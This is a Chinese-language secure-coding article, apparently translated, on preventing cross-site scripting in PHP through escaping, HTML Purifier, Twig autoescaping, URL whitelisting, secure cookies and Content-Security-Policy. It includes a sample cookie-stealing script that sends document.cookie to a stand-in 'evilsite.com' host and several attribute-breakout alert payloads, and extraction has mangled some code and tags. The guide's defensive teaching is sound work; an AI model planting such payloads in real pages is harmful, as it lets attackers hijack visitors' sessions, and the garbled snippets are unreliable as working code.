跨站点脚本(缩写为 XSS)是一类安全漏洞,攻击者可以借此设法使用网站向最终用户提供潜在的恶意 JavaScript 有效负载。
XSS 漏洞在 Web 应用程序中非常常见。它们是代码注入攻击的特例;除了 SQL 注入、本地/远程文件包含和操作系统命令注入针对服务器的情况外,XSS 专门针对网站用户。
在规划防御时,我们需要考虑两种主要的 XSS 漏洞:
攻击者可以使用跨站点脚本漏洞来实现一长串潜在的恶意目标,包括:
跨站点脚本代表了安全环境中的不对称。攻击者非常容易利用它们,但是根据您的项目要求,XSS 缓解可能会成为一个复杂的兔子洞。
url, html_attr, html)。上下文对 XSS 预防很重要。echo htmlentities($string, ENT_QUOTES | ENT_HTML5, 'UTF-8');是一种安全有效的方法来阻止对 UTF-8 编码网页的所有 XSS 攻击,但不允许任何 HTML。http:和https:方案;从来没有javascript:。此外,URL 对任何用户输入进行编码。本文档的其余部分详细解释了跨站点脚本漏洞及其缓解策略。
XSS 漏洞可能发生在网页输出中包含任何用户可以更改的信息而没有正确转义的任何地方。
"profile"> echo $user['profile']; ?>
这是一个潜在的存储 XSS感染点(假设该profile字段是直接从数据库中提取的而没有转义)。如果恶意用户能够包含如下所示的代码片段,他们就可以利用访问其个人资料的任何经过身份验证的用户并窃取他们的 cookie 以进行未来的模拟工作:
- <script>
- window.open("http://evilsite.com/cookie_stealer.php?cookie=" + document.cookie, "_blank");
- script>
<form action="" method="post">
上面的代码片段容易受到反射型 XSS攻击。只需诱骗用户访问/form.php?%22%20onload%3D%22alert(%27XSS%27)%3B,当您的页面加载时,他们会看到弹出一个包含消息“XSS”的警告框。
<form action="/form.php?" onload="alert('XSS');" method="post">
与准备好的语句 100% 失败的SQL 注入不同,跨站点脚本没有将数据与指令分离的行业标准策略。您必须转义特殊字符以防止攻击。
防止 XSS 攻击的最简单和最有效的方法是核选项:无情地逃避任何可能影响文档结构的字符。
为了获得最佳结果,您希望使用 PHP 提供的内置htmlentities()函数,而不是自己玩字符串转义。
- /**
- * Escape all HTML, JavaScript, and CSS
- *
- * @param string $input The input string
- * @param string $encoding Which character encoding are we using?
- * @return string
- */
- function noHTML($input, $encoding = 'UTF-8')
- {
- return htmlentities($input, ENT_QUOTES | ENT_HTML5, $encoding);
- }
-
- echo '
noHTML
($title), '">', $articleTitle, '', "\n"; - echo noHTML($some_data), "\n";
这种构造的安全性取决于ENT_QUOTES何时转义 HTML 属性值的标志的存在。请务必注意,这会阻止任何 HTML 字符在$some_data网页上显示。
ENT_QUOTES | ENT_HTML5和'UTF-8'?我们指定ENT_QUOTES告诉htmlentities()转义引号字符("和')。这对于以下情况很有帮助:
type="text" name="field" value="$escaped_value; ?>" />
如果您未能指定ENT_QUOTES并且攻击者只需将" onload="malicious javascript code值作为值传递给该表单字段并立即执行客户端代码。
我们指定ENT_HTML5并知道要使用的 HTML 标准的字符集和版本'UTF-8'。htmlentities()
我们需要指定这两个值的原因是,正如针对 所证明mysql_real_escape_string()的那样,不正确的(尤其是攻击者控制的)字符编码可能会破坏基于字符串的转义策略。
为了安全和一致性,我们这里指定的编码,标签的charset属性中发送的编码,以及添加到HTTP头中的编码都应该匹配。charsetContent-Type
始终在输出时转义数据(向用户显示时)。
在插入数据库之前,不要逃避针对 XSS 攻击的用户输入。WordPress 犯了这个错误,最终 Klikki Oy 的安全研究员 Jouko Pynnönen 意识到MySQL 列截断可以击败插入前 XSS 预防策略。
但是,您仍然应该验证您的输入。如果您需要一个电子邮件地址,请确保它的格式类似于一个。
- $email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
- if ($email === false) {
- // Not a valid email address! Handle this invalid input here.
- }
如果您使用的是 MySQL,请确保进入TEXT字段的任何值都小于 64 KiB。如果任何值超过该长度, MySQL 将截断TEXT字段,这可能会导致安全问题(如 WordPress 所经历的)以及数据完整性问题。
“转义所有 HTML 实体”方法是安全的,并且非常适用于用户不应该提供自己的 HTML 标记的情况。但是,如果您需要允许一些标记,而不是为任何标记打开大门怎么办?
换句话说:我们如何允许用户提供他们自己的富文本标记,而不允许他们在访问者的浏览器中执行任意 JavaScript?
一个有吸引力的解决方案是采用 BBCode、Markdown 或 ReStructuredText 等呈现格式,而不是允许使用原始 HTML。这使我们能够继续拒绝所有 HTML 实体,同时仍然允许有限的子集标记选项使用户的贡献更具表现力和强大。
如果您可以通过使用其他标记语言(例如 Markdown)来避免接受原始 HTML,请这样做。如果您可以为非技术用户使用WYSIWYG,那就更好了。
这意味着执行以下操作:
例如:
- declare(strict_types=1);
- namespace Foo\Bar;
-
- use League\CommonMark\CommonMarkConverter;
-
- class ExampleRenderer
- {
- /** @var CommonMarkConverter $markdown */
- protected $markdown;
-
- public function __construct(CommonMarkConverter $markdown)
- {
- $this->markdown = $markdown;
- }
-
- /**
- * Escape HTML, then pass to the Markdown renderer.
- *
- * @param string $input
- * @return string
- */
- public function renderUserInput(string $input): string
- {
- return $this->markdown->convertToHtml(self::noHTML($input));
- }
-
- /**
- * Escape all HTML, JavaScript, and CSS
- *
- * @param string $input The input string
- * @param string $encoding Which character encoding are we using?
- * @return string
- */
- public static function noHTML(string $input, string $encoding = 'UTF-8'): string
- {
- return htmlentities($input, ENT_QUOTES | ENT_HTML5, $encoding);
- }
- }
但是请注意,在大多数情况下,您的输出仍然是 HTML,因此请不要在此处停止阅读。
虽然我们可以通过防止任何 HTML 标记字符破坏文档结构来轻松阻止所有 XSS 攻击,但这通常不是我们想要的结果。对于某些用例(博客评论、用户资料等),我们希望允许最终用户在合理的范围内自由表达自己。但同时,我们不希望用户能够滥用这种定制潜力来攻击其他用户。
我们如何解决这个冲突?简单:使用诸如HTML Purifier之类的库。如果使用正确,大多数隐藏在 HTML 规范中的聪明的 XSS 技巧很容易被 HTMLPurifier 打败。
HTML Purifier 没有尝试天真地搜索和替换用户输入字符串中的恶意片段,而是将整个字符串消化为 HTML 文档,将其分解为标记,并根据白名单和每个属性的 RFC 定义验证所有元素和属性。
- /**
- * Setup HTML Purifier
- */
- require_once '/path/to/HTMLPurifier.auto.php';
- $config = HTMLPurifier_Config::createDefault();
- $htmlp = new HTMLPurifier($config);
- /* etc. */
- ?>
- "profile">
- // Use HTML Purifier to prevent XSS in this user's profile
- echo $htmlp->purify($user['profile']);
- ?>
在每次页面加载时运行 HTML Purifier 是一个性能问题,可以通过缓存轻松解决。当您将数据插入数据库时,请保持原始值不变(例如用于日志记录和威胁情报目的),但还要存储经过纯化的版本并在向最终用户显示时使用经过纯化的 HTML。
这种“存储、净化、缓存、从缓存中提供服务”策略让您可以享受开发人员通常通过过滤输入获得的性能优势,但不会导致数据永久丢失。它还允许您在需要时重新净化原始值(例如,如果 HTML Purifier 存在 HTML5 输出错误并且他们发布了修复它的新版本)。
- $db->insert('blog_comments', [
- /* Other fields */
- 'original_body' => $_POST['body'],
- 'rendered_body' => $htmlp->purify($_POST['body'])
- ]);
HTML Purifier 期望在 HTML 文档的上下文中运行,而不是在 HTML 属性中的字符串。图书馆不是通灵的。它无法告诉您在不受信任的字符串上调用它的字符串之前和之后的网页其余部分正在做什么。
例如,即使它使用 HTML Purifier,以下代码段仍然是不安全的:
type="text" name="username" value="$htmlp->purify($_GET['username']); ?>" />
只需将字符串传递" onload="alert('XSS');给username,您就可以执行客户端代码。
将任何变量插入另一个上下文时,您还应该运行它们htmlspecialchars()(或noHTML()以上)以确保它们不会中断并向父元素添加额外的属性。
这是安全的:
type="text" name="username" value="$htmlp->purify($_GET['username'])); ?>" />
这对于 XSS 攻击也是安全的,但仍然是个坏主意:
echo $htmlp->purify(".$_GET['username']."\" />"); ?>
事实证明,上下文对于防止跨站点脚本攻击非常重要。在一个上下文中是安全的(例如允许使用 HTML)在其他上下文中可能是灾难性的(例如,我们处于 HTML 属性的中间)。
到目前为止,我们已经发现了两条防止 XSS 攻击的规则:
noHTML()向 HTML 属性插入数据时,始终转义所有 HTML 实体(即上面定义的实体)。如果我们想将用户提供的参数添加到style标签或属性中,该怎么办?如果我们想为 JavaScript 变量定义一个默认值怎么办?超链接呢?
HTML 文档中的每个上下文都需要不同的转义规则,这些规则并不总是与其他上下文相关。幸运的是,有一种简单的方法可以解决所有这些复杂性,而无需大量的努力或研究:使用模板库。
流行的 PHP 模板引擎Twig让上下文 XSS 过滤变得轻松自如:
- {% autoescape 'css' %}
- <p style="color: {{ color|default('#0f0') }};">Testp>
- {% endautoescape %}
- {% autoescape 'html' %}
- {{ some_var }}
- {{ not_user_provided|raw }}
- <p class="{{ class|e('html_attr') }}">
- <a href="/user/{{ username|e('url') }}">{{ username }}a>
- p>
- {% endautoescape %}
如果您使用的是 Twig,您应该更喜欢将整个部分包装在{% autoescape %}上面的块中,将|e过滤器应用于每个打印的模板变量。自动转义不仅使您的代码更易于阅读,而且还可以防止单个疏忽成为具有恶意负载的攻击者的入口点。
那么你注定要重新发明轮子,可能是不安全的。
在没有模板引擎的情况下安全处理超链接
如果您需要接受来自用户的任意 URL,并且您没有使用支持上下文感知 URL 转义的模板引擎,请应用以下规则:
https:URI 方案。可能http:。从不javascript:。例如:
- declare(strict_types=1);
- namespace Foo\Bar;
-
- class UserProvidedLinks
- {
- /** @var array $allowedSchemes */
- protected $allowedSchemes = [];
-
- public function __construct(array $allowedSchemes = ['https'])
- {
- $this->allowedSchemes = $allowedSchemes;
- }
-
- /**
- * Only allow valid schemes
- *
- * @param string $url
- * @return string
- */
- public function validateUrl(string $url): string
- {
- $parsed = parse_url($url);
- if (!\is_array($parsed)) {
- return '#';
- }
- if (!\in_array($parsed['scheme'], $this->allowedSchemes, true)) {
- return '#';
- }
- return $url;
- }
- }
用法:
-
- $filter = new Foo\Bar\UserProvidedLinks([
- 'http',
- 'https'
- ]);
-
- // Full URL provided by user
- echo 'noHTML(
- $filter->validateUrl($userProvidedLink)
- ), '">', noHTML($userProvidedLabel), '', PHP_EOL;
-
- // Partial URL provided by user:
- noHTML(urlencode($page)),
- '">', noHTML($label), '', PHP_EOL;
-
浏览器级 XSS 缓解
所有现代 Web 浏览器都支持许多安全功能,可显着降低 XSS 漏洞的影响。即使您设法转义输出的每个变量,使用这些功能也是一个好主意。我们将重点关注两个:HTTPS-Only Cookie(这意味着仅通过 TLS 传输的 HTTP-Only cookie)和Content-Security-Policy标头。
安全 Cookie
任何时候在 PHP 中设置 cookie 时,都应该将httpOnly和设置secure为true。(这假设您的网站只能通过 HTTPS 访问,这应该是。)
尤其是,您的会话 cookie 不应该对 Javascript 可用。这可以通过将这些行添加到 来实现php.ini,或者通过在每个请求上手动设置它们来实现:
- session.cookie_httponly = On
- session.cookie_secure = On
在每次页面加载时设置会话 cookie 参数:
- session_set_cookie_params(
- 0, // Lifetime -- 0 means erase when browser closes
- '/', // Which paths are these cookies relevant?
- '.yourdomain.com', // Only expose this to which domain?
- true, // Only send over the network when TLS is used
- true // Don't expose to Javascript
- );
- session_start();
内容安全策略标头
Content-Security-Policy标头通过在 HTTP 响应标头中指定白名单来指示 HTTP 响应主体可以做什么,从而显着降低现代浏览器中 XSS 攻击的风险和影响。它们不能防御能够修改服务器上源文件的攻击者,但如果使用得当,大多数现实世界的 XSS 漏洞将无法执行。
CSP 标头的示例如下所示:
Content-Security-Policy: script-src 'self' https://ajax.googleapis.com https://www.google-analytics.com; child-src 'none'; object-src 'none'; upgrade-insecure-requests
如果您想了解有关编写它们的更多信息,HTML5 Rocks 有一个很棒的 Content-Security-Policy 标头介绍教程。
Paragon Initiative Enterprise 的 CSP 编译器
曾经想让Content-Security-Policy标题更易于管理吗?无论您是想只编辑 JSON 文件而不是记住 CSP 标头的语法,还是想以编程方式为特定请求构建标头(例如,使用 script-nonce 功能),请查看我们的 MIT 许可CSP 生成器项目。
概括
- 使用
Content-Security-Policy标头和仅限 HTTPS 的 cookie。 - 抵御 XSS 攻击的第一道防线应该是在将任何受污染的信息插入 DOM 之前过滤它们,而不是在将它们存储到数据库之前。
- 如果您可以通过选择 Markdown 等来避免接受实际的 HTML,那么请不要接受 HTML。
- 如果您使用的是Twig等模板引擎,请在适当的情况下使用
{% autoescape %}指令和|e过滤器。{% autoescape %}应该优先于转义每个变量。 - 如果您没有使用模板引擎并且需要安全地呈现用户提供的 HTML,请使用HTML Purifier。随意利用缓存进行优化,但要保留完整的副本。
- 否则,使用
noHTML()并留下任何机会。 - 对于超链接:
- 不允许
javascript:URI,句号。考虑列入白名单https:。 - URL 编码所有用户输入。
外部链接和资源